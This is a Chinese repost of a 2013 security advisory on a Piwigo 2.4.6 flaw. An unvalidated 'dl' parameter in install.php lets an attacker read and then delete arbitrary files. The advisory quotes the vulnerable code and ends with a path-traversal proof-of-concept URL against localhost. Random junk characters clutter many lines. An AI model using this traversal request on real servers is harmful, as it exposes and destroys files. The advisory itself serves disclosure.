Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

( K3 K4 J; L. L8 ?9 ]% HPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
1 y+ d* N) e- o/ c: `6 R====================================================================
/install.php:
( r* |$ W9 M, h8 O-------------
4 f4 c. u( P# n: D6 E, u4 l7 i7 C113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
$ R' ^( [2 a, ~8 B! M- P  E. p116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
, n* ?% o# k/ [6 S118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
. d! |  S: j" s/ k6 h+ _$ i9 Y1 ?122:   unlink($filename);
' h5 D9 D& V" g0 \* [0 d123:   exit();
$ \+ s6 k7 E# ]2 ^' w. o124: }
====================================================================

& c# h3 V5 \" d2 i* j$ y3 h- }) e. ]Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
. j! Q: T& I5 O! g           Apache 2.4.2 (Win32)
* d2 v8 ^8 t- ~! K: T- U           PHP 5.4.4
+ c4 O8 ]# j, k" m, B8 _- Z           MySQL 5.5.25a

8 F" e7 ^( Q; d, x% s9 h) t3 {' j- HVulnerability discovered by Gjoko 'LiquidWorm' Krstic
! p% X& X3 J! v& M1 C" S9 l                            @zeroscience
+ i8 i! B/ h, E3 E$ c
Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

1 A1 a+ B8 q7 o% p2 N15.02.2013
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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt

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